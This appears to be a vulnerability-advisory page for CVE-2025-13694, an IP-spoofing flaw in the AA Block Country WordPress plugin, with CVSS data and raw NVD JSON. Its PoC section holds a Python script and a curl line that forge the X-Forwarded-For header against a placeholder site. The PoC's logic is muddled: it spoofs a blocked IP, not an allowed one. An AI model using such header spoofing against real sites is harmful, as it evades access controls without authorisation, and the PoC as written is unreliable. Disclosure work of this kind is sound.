Security Vulnerability Report
中文
CVE-2025-13694 CVSS 5.3 MEDIUM

CVE-2025-13694

Published: 2026-01-07 12:16:50
Last Modified: 2026-04-15 00:35:42

Description

The AA Block Country plugin for WordPress is vulnerable to IP Address Spoofing in versions up to, and including, 1.0.1. This is due to the plugin trusting user-supplied headers such as HTTP_X_FORWARDED_FOR to determine the client's IP address without proper validation or considering if the server is behind a trusted proxy. This makes it possible for unauthenticated attackers to bypass IP-based access restrictions by spoofing their IP address via the X-Forwarded-For header.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

AA Block Country plugin for WordPress <= 1.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-13694 PoC - IP Address Spoofing in AA Block Country Plugin # This PoC demonstrates how to bypass IP-based country blocking import requests target_url = "http://target-wordpress-site.com/" blocked_country_ip = "203.0.113.0" # Example blocked IP headers = { "X-Forwarded-For": blocked_country_ip, # Spoof the IP address # Alternative headers that may also be trusted: # "X-Real-IP": blocked_country_ip, # "Client-IP": blocked_country_ip, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } response = requests.get(target_url, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response Length: {len(response.text)}") # If the plugin trusts X-Forwarded-For, the request will be processed # as if it originated from the blocked_country_ip, bypassing the block # Simple curl equivalent: # curl -H "X-Forwarded-For: 203.0.113.0" http://target-wordpress-site.com/

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13694", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:49.700", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The AA Block Country plugin for WordPress is vulnerable to IP Address Spoofing in versions up to, and including, 1.0.1. This is due to the plugin trusting user-supplied headers such as HTTP_X_FORWARDED_FOR to determine the client's IP address without proper validation or considering if the server is behind a trusted proxy. This makes it possible for unauthenticated attackers to bypass IP-based access restrictions by spoofing their IP address via the X-Forwarded-For header."}, {"lang": "es", "value": "El plugin AA Block Country para WordPress es vulnerable a la suplantación de dirección IP en versiones hasta la 1.0.1, inclusive. Esto se debe a que el plugin confía en encabezados proporcionados por el usuario, como HTTP_X_FORWARDED_FOR, para determinar la dirección IP del cliente sin una validación adecuada o sin considerar si el servidor está detrás de un proxy de confianza. Esto hace posible que atacantes no autenticados eludan las restricciones de acceso basadas en IP suplantando su dirección IP a través del encabezado X-Forwarded-For."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-348"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/aa-block-country/tags/1.0.1/aablockcountry.php#L26", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/aa-block-country/trunk/aablockcountry.php#L26", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/037ac32a-dc2e-4e9f-9318-65dfee1c80e9?source=cve", "source": "[email protected]"}]}}